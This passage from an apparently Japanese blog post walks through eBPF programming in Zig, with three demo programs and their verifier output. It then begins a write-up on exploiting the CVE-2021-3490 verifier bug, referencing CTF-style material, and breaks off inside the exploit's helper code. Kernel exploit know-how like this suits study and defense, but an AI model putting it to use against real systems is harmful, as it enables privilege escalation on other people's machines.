</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(BPF.ProgType.socket_filter, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00d3d0">&amp;</span>log, <span style="color:#79a8ff">&#34;GPL v3&#34;</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">setsockopt</span>(socks[<span style="color:#00bcff">0</span>], SOL.SOCKET, SO.ATTACH_BPF, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>progfd), <span style="color:#00bcff">4</span>))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">1</span>]<span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_lookup_elem</span>(mapfd, <span style="color:#00d3d0">&amp;</span>.{<span style="color:#00bcff">1</span>}, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>buf));
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;BPF_map[1] = 0x{x}&#34;</span>, .{buf[<span style="color:#00bcff">0</span>]});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], <span style="color:#79a8ff">&#34;dontcare&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_lookup_elem</span>(mapfd, <span style="color:#00d3d0">&amp;</span>.{<span style="color:#00bcff">1</span>}, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>buf));
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;BPF_map[1] = 0x{x}&#34;</span>, .{buf[<span style="color:#00bcff">0</span>]});
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">// requires root/BPF privileges for BPF_PROG_TYPE_SK_SKB and looping
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">example3</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;---(BPF Example 3)---</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> mapfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">bpf_string_map</span>(<span style="color:#79a8ff">&#34;evil&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r6, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// return if packet_len &lt; 4 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.word, .r7, .r1, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jge, .r7, <span style="color:#00bcff">4</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// load &#34;evil&#34; into r9
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.map_lookup_elem),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.DROP)),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r9, .r0),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// begin checking for &#34;evil&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r8, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r1, .r6),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r8),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jlt, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">10</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// drop packet if it contains &#34;evil&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r9),
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// .call(.strncmp),
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .{
</span></span><span style="display:flex;"><span>            .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>            .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .imm <span style="color:#00d3d0">=</span> <span style="color:#00bcff">182</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.DROP)),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r8, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jlt, .r8, <span style="color:#00bcff">0x200</span>, <span style="color:#00d3d0">-</span><span style="color:#00bcff">17</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// replace start of packet with &#39;evil&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r1, .r6),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r9),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r5, BPF_F_RECOMPUTE_CSUM),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.skb_store_bytes),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// verifier is a little too chatty due to the number of iterations
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(.sk_skb, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00bcff">null</span>, <span style="color:#79a8ff">&#34;GPL v3&#34;</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> sockmapfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_create</span>(.sockmap, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>            .prog_attach <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                .target_fd <span style="color:#00d3d0">=</span> sockmapfd,
</span></span><span style="display:flex;"><span>                .attach_bpf_fd <span style="color:#00d3d0">=</span> progfd,
</span></span><span style="display:flex;"><span>                .attach_type <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.AttachType.sk_skb_stream_verdict),
</span></span><span style="display:flex;"><span>                .attach_flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                .replace_bpf_fd <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">bpf</span>(.prog_attach, <span style="color:#f78fe7">@constCast</span>(<span style="color:#00d3d0">&amp;</span>attr), <span style="color:#f78fe7">@sizeOf</span>(BPF.ProgAttachAttr)))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            .ACCES <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.UnsafeProgram,
</span></span><span style="display:flex;"><span>            .FAULT <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>            .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.InvalidProgram,
</span></span><span style="display:flex;"><span>            .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.PermissionDenied,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM <span style="color:#00d3d0">|</span> SOCK.NONBLOCK, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(sockmapfd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#00bcff">0</span>)), std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>socks[<span style="color:#00bcff">0</span>]), BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> packets <span style="color:#00d3d0">=</span> [_][]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;a&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;aaaa&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;imevil&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;eviliam&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;goodiam&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&#34;</span>,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x100</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (packets) <span style="color:#00d3d0">|</span>p<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], p);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> n_read <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">read</span>(socks[<span style="color:#00bcff">0</span>], <span style="color:#00d3d0">&amp;</span>buf) <span style="color:#b6a0ff">catch</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Sent &#39;{s}&#39;, received &#39;{s}&#39;&#34;</span>, .{ p, buf[<span style="color:#00bcff">0</span>..n_read] });
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">example1</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">example2</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">example3</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>---(BPF Example 1)---
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;Hello&#39;, received &#39;Hell&#39;
</span></span><span style="display:flex;"><span>[INFO] BPF Verifier output:
</span></span><span style="display:flex;"><span>func#0 @0
</span></span><span style="display:flex;"><span>0: R1=ctx(off=0,imm=0) R10=fp0
</span></span><span style="display:flex;"><span>0: (b7) r0 = 4                        ; R0_w=4
</span></span><span style="display:flex;"><span>1: (95) exit
</span></span><span style="display:flex;"><span>processed 2 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---(BPF Example 2)---
</span></span><span style="display:flex;"><span>[INFO] BPF_map[1] = 0xbebafecabebafeca
</span></span><span style="display:flex;"><span>[INFO] BPF_map[1] = 0x1337
</span></span><span style="display:flex;"><span>[INFO] BPF Verifier output:
</span></span><span style="display:flex;"><span>func#0 @0
</span></span><span style="display:flex;"><span>0: R1=ctx(off=0,imm=0) R10=fp0
</span></span><span style="display:flex;"><span>0: (7a) *(u64 *)(r10 -8) = 1          ; R10=fp0 fp-8_w=mmmmmmmm
</span></span><span style="display:flex;"><span>1: (7a) *(u64 *)(r10 -16) = 4919      ; R10=fp0 fp-16_w=mmmmmmmm
</span></span><span style="display:flex;"><span>2: (18) r1 = 0xffff892b83b2b800       ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0)
</span></span><span style="display:flex;"><span>4: (bf) r2 = r10                      ; R2_w=fp0 R10=fp0
</span></span><span style="display:flex;"><span>5: (07) r2 += -8                      ; R2_w=fp-8
</span></span><span style="display:flex;"><span>6: (bf) r3 = r2                       ; R2_w=fp-8 R3_w=fp-8
</span></span><span style="display:flex;"><span>7: (07) r3 += -8                      ; R3_w=fp-16
</span></span><span style="display:flex;"><span>8: (b7) r4 = 0                        ; R4_w=0
</span></span><span style="display:flex;"><span>9: (85) call bpf_map_update_elem#2    ; R0_w=scalar()
</span></span><span style="display:flex;"><span>10: (b7) r0 = 0                       ; R0_w=0
</span></span><span style="display:flex;"><span>11: (95) exit
</span></span><span style="display:flex;"><span>processed 11 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---(BPF Example 3)---
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;a&#39;, received &#39;a&#39;
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;aaaa&#39;, received &#39;evil&#39;
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;imevil&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;eviliam&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;goodiam&#39;, received &#39;eviliam&#39;
</span></span><span style="display:flex;"><span>[INFO] Sent &#39;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&#39;, received &#39;evilm ipsum dolor sit amet, consectetur adipiscing elit.&#39;</span></span></code></pre></div>

<p>eBPFはかなり強力だが、不権利ユーザーで使える関数は少ない（当然だ）。
でもいくつかの関数は使えるはずだが、どういうわけか使えできなっかた（例えば​<kbd>bpf_get_current_task</kbd>​）。</p>
<div aria-hidden="true" style="display:none">
<!--[^fn:8]-->
<img src="https://feyor.sh/" alt=""></div>
<h3 id="cve-2021-3490">CVE-2021-3490</h3>
<p>このパーチは​<code>src</code>​と​<code>dst</code>​が知る場合は​<kbd>__mark_reg32_known</kbd>​を呼び出しない。
説明はちょっと複雑ので、<a href="https://chomp.ie/Blog&#43;Posts/Kernel&#43;Pwning&#43;with&#43;eBPF&#43;-&#43;a&#43;Love&#43;Story%20">chompieさん</a>や<a href="https://pawnyable.cafe/linux-kernel/LK06/exploit.html#%E3%83%90%E3%82%B0%E3%81%AE%E5%86%8D%E7%8F%BED">ptr-yudaiさん</a>に譲ることとする。
概略はとあるレジースタの値についてBPFの検証機は最小値が1,最大値値は1,ですが本当の値は2.</p>
<p>「BPFマップやBPFスタック、コンテキストのアドレスをリークせずに」悪用したいんだから、多くの方法排除した。</p>
<p><a id="code-snippet--lk06-bpf"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BPF <span style="color:#00d3d0">=</span> linux.BPF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> AF <span style="color:#00d3d0">=</span> linux.AF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOCK <span style="color:#00d3d0">=</span> linux.SOCK;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOL <span style="color:#00d3d0">=</span> linux.SOL;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SO <span style="color:#00d3d0">=</span> linux.SO;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">// broken in 0.14.1
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">_ld_dw1</span>(dst<span style="color:#00d3d0">:</span> BPF.Insn.Reg, imm<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> BPF.LD <span style="color:#00d3d0">|</span> BPF.DW <span style="color:#00d3d0">|</span> BPF.IMM,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(dst),
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.Insn.Reg.r0),
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(imm)))),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">_ld_dw2</span>(imm<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(imm <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>)))),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bpf_helper</span>(mapfd<span style="color:#00d3d0">:</span> posix.fd_t, insns<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> BPF.Insn, input<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(mapfd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#00bcff">0</span>)), <span style="color:#00d3d0">&amp;</span>.{<span style="color:#00bcff">1</span>}, BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> verifier_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x20000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> log <span style="color:#00d3d0">=</span> BPF.Log{ .buf <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>verifier_log, .level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span> };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">errdefer</span> std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>verifier_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
